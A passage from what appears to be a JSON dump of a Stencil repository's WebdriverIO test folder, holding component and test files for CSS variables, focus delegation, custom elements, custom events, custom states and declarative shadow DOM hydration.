    "content": ":root {\n  --font-weight: 800;\n}\n\n.black-local {\n  --background: black;\n  --color: white;\n\n  background: var(--background);\n  color: var(--color);\n}\n\n.black-global {\n  background: var(--global-background);\n  color: var(--global-color);\n  font-weight: var(--font-weight);\n}\n\n.yellow-global {\n  background: var(--link-background);\n  color: black;\n}\n\n"
  },
  {
    "path": "test/wdio/css-variables/cmp-no-encapsulation.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'css-variables-no-encapsulation',\n  styleUrl: 'cmp-no-encapsulation.css',\n})\nexport class CssVariablesNoEncapsulation {\n  render() {\n    return (\n      <Host>\n        <div class=\"black-local\">No encapsulation: Black background</div>\n        <div class=\"black-global\">No encapsulation: Black background (global style)</div>\n        <div class=\"yellow-global\">No encapsulation: Yellow background (global link)</div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/css-variables/cmp-shadow-dom.css",
    "content": "\n:host {\n  --color: blue;\n  --background: red;\n}\n\n:host(.set-green) {\n  --background: green;\n}\n\n.inner-div {\n  background: var(--background);\n  color: var(--color);\n}\n\n.black-global-shadow {\n  background: var(--global-background);\n  color: var(--global-color);\n  font-weight: var(--font-weight);\n}\n"
  },
  {
    "path": "test/wdio/css-variables/cmp-shadow.tsx",
    "content": "import { Component, h, Host, State } from '@stencil/core';\n\n@Component({\n  tag: 'css-variables-shadow-dom',\n  styleUrl: 'cmp-shadow-dom.css',\n  shadow: true,\n})\nexport class CssVariablesRoot {\n  @State() isGreen = false;\n\n  render() {\n    return (\n      <Host\n        class={{\n          'set-green': this.isGreen,\n        }}\n      >\n        <div class=\"inner-div\">Shadow: {this.isGreen ? 'Green' : 'Red'} background</div>\n        <div class=\"black-global-shadow\">Shadow: Black background (global)</div>\n        <button\n          onClick={() => {\n            this.isGreen = !this.isGreen;\n          }}\n        >\n          Toggle color\n        </button>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/css-variables/cmp.test.tsx",
    "content": "import './variables.css';\n\nimport { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nconst css = `:root {\n  --global-background: black;\n  --global-color: white;\n  --body-background: grey;\n}\nbody {\n  background: var(--body-background);\n  color: var(--global-color);\n}`;\n\ndescribe('css-variables', () => {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <style>{css}</style>\n\n          <css-variables-no-encapsulation></css-variables-no-encapsulation>\n          <css-variables-shadow-dom></css-variables-shadow-dom>\n          {/* This second instance will be used to ensure encapsulation between it and the first instance */}\n          <css-variables-shadow-dom></css-variables-shadow-dom>\n        </>\n      ),\n    });\n  });\n\n  describe('css-variables-no-encapsulation', () => {\n    it('uses class-local css variables to set the background and color', async () => {\n      const blackLocalElm = await $('.black-local');\n\n      await expect(blackLocalElm).toHaveText('No encapsulation: Black background');\n      await expect(blackLocalElm).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(0, 0, 0)`,\n        color: 'rgb(255,255,255)',\n      });\n    });\n\n    it('uses global css variables to set the background, color, and font weight', async () => {\n      const blackGlobalElm = await $('.black-global');\n\n      await expect(blackGlobalElm).toHaveText('No encapsulation: Black background (global style)');\n      await expect(blackGlobalElm).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(0, 0, 0)`,\n        color: 'rgb(255,255,255)',\n      });\n\n      const fontWeight = await blackGlobalElm.getCSSProperty('font-weight');\n      expect(fontWeight.value).toEqual(800);\n    });\n\n    it('uses imported css variables to set the background and color', async () => {\n      const yellowGlobalElm = await $('.yellow-global');\n\n      await expect(yellowGlobalElm).toHaveText('No encapsulation: Yellow background (global link)');\n      await expect(yellowGlobalElm).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(255, 255, 0)`,\n        color: 'rgb(0,0,0)',\n      });\n    });\n  });\n\n  describe('css-variables-shadow-dom', () => {\n    it(\"doesn't interfere with global variables\", async () => {\n      const globalShadow = await $('>>>.black-global-shadow');\n\n      await expect(globalShadow).toHaveText('Shadow: Black background (global)');\n      await expect(globalShadow).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(0, 0, 0)`,\n        color: 'rgb(255,255,255)',\n      });\n      let fontWeight = await globalShadow.getCSSProperty('font-weight');\n      expect(fontWeight.value).toEqual(800);\n\n      await $('css-variables-shadow-dom').$('>>> button').click();\n\n      await expect(globalShadow).toHaveText('Shadow: Black background (global)');\n      await expect(globalShadow).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(0, 0, 0)`,\n        color: 'rgb(255,255,255)',\n      });\n      fontWeight = await globalShadow.getCSSProperty('font-weight');\n      expect(fontWeight.value).toEqual(800);\n    });\n\n    it('repaints as a result of changing css variables', async () => {\n      const innerDiv = $('>>>.inner-div');\n\n      await expect(innerDiv).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(255, 0, 0)`,\n        color: 'rgb(0,0,255)',\n      });\n\n      await $('css-variables-shadow-dom').$('>>> button').click();\n\n      await expect(innerDiv).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(0, 128, 0)`,\n        color: 'rgb(0,0,255)',\n      });\n    });\n\n    it('changes the text as a result of changing css variables', async () => {\n      const innerDiv = $('>>>.inner-div');\n\n      await expect(innerDiv).toHaveText('Shadow: Red background');\n\n      await $('css-variables-shadow-dom').$('>>> button').click();\n\n      await expect(innerDiv).toHaveText('Shadow: Green background');\n    });\n\n    it(\"doesn't change the font weight as a result of changing css variables\", async () => {\n      const innerDiv = $('>>>.inner-div');\n\n      let fontWeight = await innerDiv.getCSSProperty('font-weight');\n      expect(fontWeight.value).toEqual(400);\n\n      await $('css-variables-shadow-dom').$('>>> button').click();\n\n      fontWeight = await innerDiv.getCSSProperty('font-weight');\n      await expect(fontWeight.value).toEqual(400);\n    });\n\n    it(\"doesn't alter a second instance of the element\", async () => {\n      // grab a reference to the second inner-div class to verify it's background does not change\n      const innerDiv = await $$('css-variables-shadow-dom')[1].$('>>>.inner-div');\n\n      await expect(innerDiv).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(255, 0, 0)`,\n        color: 'rgb(0,0,255)',\n      });\n\n      const button = await $$('css-variables-shadow-dom')[0].$('>>> button');\n      await button.click();\n\n      await expect(innerDiv).toHaveStyle({\n        background: `none 0% 0% auto repeat padding-box border-box scroll rgb(255, 0, 0)`,\n        color: 'rgb(0,0,255)',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/css-variables/variables.css",
    "content": "\n:root {\n  --link-background: yellow;\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-delegates-focus/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nimport { defineCustomElement } from '../test-components/custom-elements-delegates-focus.js';\nimport { defineCustomElement as defineCustomElementNoFocus } from '../test-components/custom-elements-no-delegates-focus.js';\n\ndescribe('custom-elements-delegates-focus', () => {\n  before(() => {\n    render({\n      template: () => (\n        <>\n          <custom-elements-delegates-focus></custom-elements-delegates-focus>\n          <custom-elements-no-delegates-focus></custom-elements-no-delegates-focus>\n        </>\n      ),\n    });\n  });\n\n  it('should have custom elements not to be defined', () => {\n    expect(customElements.get('custom-elements-delegates-focus')).toBeUndefined();\n    expect(customElements.get('custom-elements-no-delegates-focus')).toBeUndefined();\n  });\n\n  describe('component tests', () => {\n    before(() => {\n      defineCustomElement();\n      defineCustomElementNoFocus();\n    });\n\n    it('sets delegatesFocus correctly', () => {\n      expect(customElements.get('custom-elements-delegates-focus')).toBeDefined();\n      const elm: Element = document.querySelector('custom-elements-delegates-focus');\n      expect(elm.shadowRoot).toBeDefined();\n      expect(elm.shadowRoot.delegatesFocus).toBe(true);\n    });\n\n    it('does not set delegatesFocus when shadow is set to \"true\"', () => {\n      expect(customElements.get('custom-elements-no-delegates-focus')).toBeDefined();\n      const elm: Element = document.querySelector('custom-elements-no-delegates-focus');\n      expect(elm.shadowRoot).toBeDefined();\n      expect(elm.shadowRoot.delegatesFocus).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/custom-elements-delegates-focus/custom-elements-delegates-focus.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'custom-elements-delegates-focus',\n  styleUrl: 'shared-delegates-focus.css',\n  shadow: {\n    delegatesFocus: true,\n  },\n})\nexport class CustomElementsDelegatesFocus {\n  render() {\n    return (\n      <Host>\n        <input />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-delegates-focus/custom-elements-no-delegates-focus.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'custom-elements-no-delegates-focus',\n  styleUrl: 'shared-delegates-focus.css',\n  shadow: true,\n})\nexport class CustomElementsNoDelegatesFocus {\n  render() {\n    return (\n      <Host>\n        <input />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-delegates-focus/shared-delegates-focus.css",
    "content": ":host {\n  display: block;\n  border: 5px solid red;\n  padding: 10px;\n  margin: 10px;\n}\n\n:host(:focus) {\n  border: 5px solid green;\n}\n\ninput {\n  display: block;\n  width: 100%;\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-hierarchy-lifecycle/cmp-child.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { createAndAppendElement } from './cmp-util.js';\n\n@Component({\n  tag: 'custom-elements-hierarchy-lifecycle-child',\n  shadow: true,\n})\nexport class CustomElementsHierarchyLifecycleChild {\n  async componentDidLoad(): Promise<void> {\n    createAndAppendElement('DID LOAD CHILD');\n    return Promise.resolve();\n  }\n\n  render() {\n    return <p>CHILD CONTENT</p>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-hierarchy-lifecycle/cmp-parent.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { createAndAppendElement } from './cmp-util.js';\n\n@Component({\n  tag: 'custom-elements-hierarchy-lifecycle-parent',\n  shadow: true,\n})\nexport class CustomElementsHierarchyLifecycleParent {\n  async componentDidLoad(): Promise<void> {\n    createAndAppendElement('DID LOAD PARENT');\n    return Promise.resolve();\n  }\n\n  render() {\n    return <custom-elements-hierarchy-lifecycle-child></custom-elements-hierarchy-lifecycle-child>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-hierarchy-lifecycle/cmp-util.ts",
    "content": "export const createAndAppendElement = (text: string) => {\n  const p = document.createElement('p');\n  p.textContent = text;\n\n  document.body.appendChild(p);\n};\n"
  },
  {
    "path": "test/wdio/custom-elements-hierarchy-lifecycle/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nimport { defineCustomElement as defineCustomElementChildCmp } from '../test-components/custom-elements-hierarchy-lifecycle-child.js';\nimport { defineCustomElement as defineCustomElementParentCmp } from '../test-components/custom-elements-hierarchy-lifecycle-parent.js';\n\ndescribe('custom-elements-hierarchy-lifecycle', () => {\n  before(() => {\n    defineCustomElementChildCmp();\n    defineCustomElementParentCmp();\n  });\n\n  it('should call componentDidLoad in the child before the parent', async () => {\n    expect(customElements.get('custom-elements-hierarchy-lifecycle-child')).toBeDefined();\n    expect(customElements.get('custom-elements-hierarchy-lifecycle-parent')).toBeDefined();\n\n    render({\n      template: () => (\n        <>\n          <custom-elements-hierarchy-lifecycle-parent></custom-elements-hierarchy-lifecycle-parent>\n        </>\n      ),\n    });\n\n    const elm = document.querySelector('custom-elements-hierarchy-lifecycle-parent');\n    expect(elm.shadowRoot).toBeDefined();\n\n    await browser.waitUntil(() => Boolean(elm.shadowRoot.querySelector('custom-elements-hierarchy-lifecycle-child')));\n\n    expect(Array.from(document.querySelectorAll('p')).map((r) => r.textContent)).toEqual([\n      'DID LOAD CHILD',\n      'DID LOAD PARENT',\n    ]);\n  });\n});\n"
  },
  {
    "path": "test/wdio/custom-elements-output/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nimport { defineCustomElement as defineCustomElementChild } from '../test-components/custom-element-child.js';\nimport { defineCustomElement as defineCustomElementNestedChild } from '../test-components/custom-element-nested-child.js';\nimport { defineCustomElement } from '../test-components/custom-element-root.js';\n\ndescribe('custom-elements-output', () => {\n  before(() => {\n    render({\n      template: () => (\n        <>\n          <custom-element-root></custom-element-root>\n        </>\n      ),\n    });\n  });\n\n  it('should have custom elements not to be defined', () => {\n    expect(customElements.get('custom-element-root')).toBeUndefined();\n    expect(customElements.get('custom-element-child')).toBeUndefined();\n    expect(customElements.get('custom-element-nested-child')).toBeUndefined();\n  });\n\n  it('defines components and their dependencies', async () => {\n    defineCustomElement();\n    defineCustomElementChild();\n    defineCustomElementNestedChild();\n\n    expect(customElements.get('custom-element-root')).toBeDefined();\n    expect(customElements.get('custom-element-child')).toBeDefined();\n    expect(customElements.get('custom-element-nested-child')).toBeDefined();\n\n    const elm = document.querySelector('custom-element-root');\n    await browser.waitUntil(() => Boolean(elm.shadowRoot.querySelector('custom-element-child')));\n    const childElm = elm.shadowRoot.querySelector('custom-element-child');\n    const childNestedElm = childElm.shadowRoot.querySelector('custom-element-nested-child');\n\n    expect(elm.shadowRoot).toBeDefined();\n    expect(childElm.shadowRoot).toBeDefined();\n    expect(childNestedElm.shadowRoot).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "test/wdio/custom-elements-output/custom-element-child.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'custom-element-child',\n  shadow: true,\n})\nexport class CustomElementChild {\n  render() {\n    return (\n      <div>\n        <strong>Child Component Loaded!</strong>\n\n        <h3>Child Nested Component?</h3>\n        <custom-element-nested-child />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-output/custom-element-nested-child.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'custom-element-nested-child',\n  shadow: true,\n})\nexport class CustomElementNestedChild {\n  render() {\n    return (\n      <div>\n        <strong>Child Nested Component Loaded!</strong>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-output/custom-element-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'custom-element-root',\n  shadow: true,\n})\nexport class CustomElementRoot {\n  render() {\n    return (\n      <div>\n        <h2>Root Element Loaded</h2>\n\n        <h3>Child Component Loaded?</h3>\n        <custom-element-child />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-output-tag-class-different/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nimport { defineCustomElement } from '../test-components/custom-element-child-different-name-than-class.js';\nimport { defineCustomElement as defineCustomElementRoot } from '../test-components/custom-element-root-different-name-than-class.js';\n\ndescribe('custom-elements-output-tag-class-different', () => {\n  before(() => {\n    render({\n      template: () => (\n        <>\n          <custom-element-root-different-name-than-class></custom-element-root-different-name-than-class>\n        </>\n      ),\n    });\n  });\n\n  it('should have custom elements not to be defined', () => {\n    expect(customElements.get('custom-element-root-different-name-than-class')).toBeUndefined();\n    expect(customElements.get('custom-element-child-different-name-than-class')).toBeUndefined();\n  });\n\n  it('defines components and their dependencies', async () => {\n    defineCustomElement();\n    defineCustomElementRoot();\n    expect(customElements.get('custom-element-root-different-name-than-class')).toBeDefined();\n\n    const elm = document.querySelector('custom-element-root-different-name-than-class');\n    expect(elm.shadowRoot).toBeDefined();\n\n    const selector = 'custom-element-child-different-name-than-class';\n    await browser.waitUntil(() => Boolean(elm.shadowRoot.querySelector(selector)));\n    const childElm = elm.shadowRoot.querySelector(selector);\n    expect(childElm.shadowRoot).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "test/wdio/custom-elements-output-tag-class-different/custom-element-child.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'custom-element-child-different-name-than-class',\n  shadow: true,\n})\nexport class CustomElementChild {\n  render() {\n    return (\n      <div>\n        <strong>Child Component Loaded!</strong>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-elements-output-tag-class-different/custom-element-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'custom-element-root-different-name-than-class',\n  shadow: true,\n})\nexport class CustomElementRoot {\n  render() {\n    return (\n      <div>\n        <h2>Root Element Loaded</h2>\n        <custom-element-child-different-name-than-class></custom-element-child-different-name-than-class>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-event/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('custom-event', () => {\n  beforeEach(() => {\n    render({\n      template: () => <custom-event-root></custom-event-root>,\n    });\n  });\n\n  it('should fire raw custom event', async () => {\n    const output = $('#output');\n\n    await $('#btnNoDetail').click();\n\n    await expect(output).toHaveText('eventNoDetail');\n\n    await $('#btnWithDetail').click();\n\n    await expect(output).toHaveText('eventWithDetail 88');\n  });\n});\n"
  },
  {
    "path": "test/wdio/custom-event/cmp.tsx",
    "content": "import { Component, Element, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'custom-event-root',\n})\nexport class CustomEventCmp {\n  @Element() elm!: HTMLElement;\n\n  @State() output = '';\n\n  componentDidLoad() {\n    this.elm.addEventListener('eventNoDetail', this.receiveEvent.bind(this));\n    this.elm.addEventListener('eventWithDetail', this.receiveEvent.bind(this));\n  }\n\n  receiveEvent(ev: any) {\n    this.output = `${ev.type} ${ev.detail || ''}`.trim();\n  }\n\n  fireCustomEventNoDetail() {\n    const ev = new CustomEvent('eventNoDetail');\n    this.elm.dispatchEvent(ev);\n  }\n\n  fireCustomEventWithDetail() {\n    const ev = new CustomEvent('eventWithDetail', { detail: 88 });\n    this.elm.dispatchEvent(ev);\n  }\n\n  render() {\n    return (\n      <div>\n        <div>\n          <button id=\"btnNoDetail\" onClick={this.fireCustomEventNoDetail.bind(this)}>\n            Fire Custom Event, no detail\n          </button>\n        </div>\n        <div>\n          <button id=\"btnWithDetail\" onClick={this.fireCustomEventWithDetail.bind(this)}>\n            Fire Custom Event, with detail\n          </button>\n        </div>\n        <pre id=\"output\">{this.output}</pre>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/custom-states/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('custom states', function () {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => <custom-states-cmp></custom-states-cmp>,\n    });\n  });\n\n  it('should render without errors', async () => {\n    const elm = $('custom-states-cmp');\n    await expect(elm).toBePresent();\n  });\n\n  describe('initial custom states', () => {\n    it('should have \"open\" state set initially (initialValue: true)', async () => {\n      const elm = document.querySelector('custom-states-cmp') as any;\n      const hasOpen = await elm.hasState('open');\n      expect(hasOpen).toBe(true);\n    });\n\n    it('should NOT have \"active\" state set initially (initialValue: false)', async () => {\n      const elm = document.querySelector('custom-states-cmp') as any;\n      const hasActive = await elm.hasState('active');\n      expect(hasActive).toBe(false);\n    });\n\n    it('should NOT have \"disabled\" state set initially (initialValue: false)', async () => {\n      const elm = document.querySelector('custom-states-cmp') as any;\n      const hasDisabled = await elm.hasState('disabled');\n      expect(hasDisabled).toBe(false);\n    });\n  });\n\n  describe('toggling custom states', () => {\n    it('should add a state when toggling from false to true', async () => {\n      const elm = document.querySelector('custom-states-cmp') as any;\n\n      // active starts as false\n      expect(await elm.hasState('active')).toBe(false);\n\n      // toggle it on\n      await elm.toggleState('active', true);\n\n      // now it should be true\n      expect(await elm.hasState('active')).toBe(true);\n    });\n\n    it('should remove a state when toggling from true to false', async () => {\n      const elm = document.querySelector('custom-states-cmp') as any;\n\n      // open starts as true\n      expect(await elm.hasState('open')).toBe(true);\n\n      // toggle it off\n      await elm.toggleState('open', false);\n\n      // now it should be false\n      expect(await elm.hasState('open')).toBe(false);\n    });\n\n    it('should toggle state without force parameter', async () => {\n      const elm = document.querySelector('custom-states-cmp') as any;\n\n      // open starts as true\n      expect(await elm.hasState('open')).toBe(true);\n\n      // toggle without force - should become false\n      await elm.toggleState('open');\n      expect(await elm.hasState('open')).toBe(false);\n\n      // toggle again - should become true\n      await elm.toggleState('open');\n      expect(await elm.hasState('open')).toBe(true);\n    });\n\n    it('should work with CSS :state() pseudo-class', async () => {\n      const elm = $('custom-states-cmp');\n\n      // Test that the element matches :state(open) initially\n      // Note: :state() pseudo-class support varies by browser\n      const matchesOpen = await elm.execute((el: Element) => {\n        return el.matches(':state(open)');\n      });\n\n      expect(matchesOpen).toBe(true);\n\n      // Toggle open off and verify CSS no longer matches\n      const cmp = document.querySelector('custom-states-cmp') as any;\n      await cmp.toggleState('open', false);\n\n      const matchesOpenAfter = await elm.execute((el: Element) => {\n        return el.matches(':state(open)');\n      });\n      expect(matchesOpenAfter).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/custom-states/cmp.tsx",
    "content": "import { AttachInternals, Component, h, Method } from '@stencil/core';\n\n@Component({\n  tag: 'custom-states-cmp',\n})\nexport class CustomStatesCmp {\n  @AttachInternals({\n    states: {\n      open: true,\n      active: false,\n      disabled: false,\n    },\n  })\n  internals: ElementInternals;\n\n  /**\n   * Toggle a custom state on or off\n   * @param stateName the name of the state to toggle\n   * @param force optional boolean to force the state on (true) or off (false)\n   */\n  @Method()\n  async toggleState(stateName: string, force?: boolean): Promise<void> {\n    const states = this.internals.states as Set<string>;\n    if (force === undefined) {\n      // Toggle: if has, delete; if not, add\n      if (states.has(stateName)) {\n        states.delete(stateName);\n      } else {\n        states.add(stateName);\n      }\n    } else if (force) {\n      states.add(stateName);\n    } else {\n      states.delete(stateName);\n    }\n  }\n\n  /**\n   * Check if a custom state is currently set\n   * @param stateName the name of the state to check\n   * @returns true if the state is set, false otherwise\n   */\n  @Method()\n  async hasState(stateName: string): Promise<boolean> {\n    return (this.internals.states as Set<string>).has(stateName);\n  }\n\n  render() {\n    return <div>Custom States Test</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/cmp-svg.test.tsx",
    "content": "// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\n\ndescribe('custom svg element', function () {\n  let originalConsoleError: typeof console.error;\n  before(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('/hydrate/index.mjs');\n    renderToString = mod.renderToString;\n    originalConsoleError = console.error;\n  });\n\n  after(() => {\n    console.error = originalConsoleError;\n  });\n\n  it('should render without errors', async () => {\n    const errorLogs: string[] = [];\n    console.error = (message) => errorLogs.push(message);\n\n    const { html } = await renderToString(`<custom-svg-element />`, { prettyHtml: true });\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n\n    await expect($('custom-svg-element')).toHaveText('');\n\n    expect(errorLogs.length).toEqual(0);\n  });\n});\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/cmp-svg.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'custom-svg-element',\n  shadow: true,\n})\nexport class CustomSvgElement {\n  render() {\n    return (\n      <svg viewBox=\"0 0 54 54\">\n        <circle cx=\"8\" cy=\"18\" width=\"54\" height=\"8\" r=\"2\" />\n      </svg>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/cmp.test.tsx",
    "content": "import { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nimport { renderToString } from '../hydrate/index.mjs';\n\ndescribe('dsd-cmp', () => {\n  it('verifies that Stencil properly picks up the Declarative Shadow DOM', async () => {\n    const { html } = await renderToString(`<dsd-cmp />`, {\n      fullDocument: true,\n      serializeShadowRoot: true,\n      constrainTimeouts: false,\n    });\n\n    expect(html).toContain('I am rendered on the Server!');\n    render({ html, components: [] });\n    await expect($('dsd-cmp')).toHaveText('I am rendered on the Client!');\n  });\n});\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'dsd-cmp',\n  shadow: true,\n})\nexport class DsdComponent {\n  render() {\n    const env = globalThis.constructor.name === 'MockWindow' ? 'Server' : 'Client';\n    return <div>I am rendered on the {env}!</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/page-list-item.css",
    "content": ":host {\n  display: block;\n}\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/page-list-item.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'page-list-item',\n  styleUrl: 'page-list-item.css',\n  shadow: true,\n})\nexport class MyOtherComponent {\n  /**\n   * Set the number to be displayed.\n   */\n  @Prop() label!: number;\n\n  /**\n   * Set the number to be displayed.\n   */\n  @Prop() active = false;\n\n  render() {\n    const paginationItemClass: any = {\n      'pagination-item': true,\n      active: this.active,\n    };\n\n    return (\n      <div>\n        <div class={paginationItemClass}>{this.label}</div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/page-list.css",
    "content": ":host {\n  display: block;\n}\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/page-list.test.ts",
    "content": "// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\n\ndescribe('renderToString', () => {\n  before(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('/hydrate/index.mjs');\n    renderToString = mod.renderToString;\n  });\n\n  beforeEach(async () => {\n    const { html } = await renderToString(`<page-list last-page=\"5\" current-page=\"1\"></page-list>`, {\n      serializeShadowRoot: true,\n      prettyHtml: true,\n      fullDocument: false,\n    });\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n  });\n\n  afterEach(() => {\n    document.querySelector('#stage')?.remove();\n  });\n\n  it('can hydrate a nested shadow component', async () => {\n    expect(typeof customElements.get('page-list-item')).toBe('undefined');\n\n    // @ts-expect-error resolved through WDIO\n    const { defineCustomElements } = await import('/dist/loader/index.js');\n    defineCustomElements().catch(console.error);\n\n    // wait for Stencil to take over and reconcile\n    await browser.waitUntil(async () => customElements.get('page-list-item'));\n    expect(typeof customElements.get('page-list-item')).toBe('function');\n    await expect($('page-list')).toHaveText('0\\n1\\n2\\n3\\n4');\n  });\n});\n"
  },
  {
    "path": "test/wdio/declarative-shadow-dom/page-list.tsx",
    "content": "import { Component, h, Prop, State } from '@stencil/core';\n\n@Component({\n  tag: 'page-list',\n  styleUrl: 'page-list.css',\n  shadow: true,\n})\nexport class PatternlibPagination {\n  @Prop({ mutable: true }) lastPage: number | null = null;\n  @State() pages: Array<number> = [];\n\n  private fillPageArray(start: number, num: number): Array<number> {\n    const pages = [];\n    for (let i = 0; i < num; i++) {\n      pages.push(start + i);\n    }\n    return pages;\n  }\n\n  componentWillLoad(): void {\n    // range guard\n    this.lastPage = this.lastPage && this.lastPage >= 1 ? this.lastPage : 1;\n    this.pages = this.fillPageArray(0, this.lastPage);\n  }\n\n  render() {\n    return (\n      <div>\n        <div class=\"pagination\">\n          <div class=\"pagination-pages pagination-notation\">\n            {this.pages.map((i) => (\n              <page-list-item label={i}></page-list-item>\n            ))}\n          </div>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/delegates-focus/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('delegates-focus', function () {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <button onClick={setFocus}>Set Focus</button>\n          <hr />\n          <div>Delegate Focus Enabled:</div>\n          <delegates-focus class=\"set-focus\"></delegates-focus>\n          <hr />\n          <div>Delegate Focus Not Enabled:</div>\n          <no-delegates-focus class=\"set-focus\"></no-delegates-focus>\n        </>\n      ),\n    });\n    function setFocus() {\n      const elms = document.querySelectorAll('.set-focus');\n      for (let i = 0; i < elms.length; i++) {\n        (elms[i] as HTMLElement).focus();\n      }\n    }\n  });\n\n  it('should delegate focus', async () => {\n    await $('delegates-focus.hydrated').waitForExist();\n    await $('no-delegates-focus.hydrated').waitForExist();\n\n    const delegatesFocus = document.querySelector('delegates-focus');\n    const noDelegatesFocus = document.querySelector('no-delegates-focus');\n\n    const delegateFocusStyles1 = window.getComputedStyle(delegatesFocus);\n    expect(delegateFocusStyles1.borderColor).toBe('rgb(255, 0, 0)');\n\n    const noDelegateFocusStyles1 = window.getComputedStyle(noDelegatesFocus);\n    expect(noDelegateFocusStyles1.borderColor).toBe('rgb(255, 0, 0)');\n\n    await $('button').click();\n\n    const delegateFocusStyles2 = window.getComputedStyle(delegatesFocus);\n    expect(delegateFocusStyles2.borderColor).toBe('rgb(0, 0, 255)');\n\n    const noDelegateFocusStyles2 = window.getComputedStyle(noDelegatesFocus);\n    expect(noDelegateFocusStyles2.borderColor).toBe('rgb(255, 0, 0)');\n  });\n});\n"
  },
  {
    "path": "test/wdio/delegates-focus/delegates-focus.css",
    "content": ":host {\n  display: block;\n  border: 5px solid red;\n  padding: 10px;\n  margin: 10px;\n}\n\ninput {\n  display: block;\n  width: 100%;\n}\n\n:host(:focus) {\n  border: 5px solid blue;\n}\n"
  },
  {
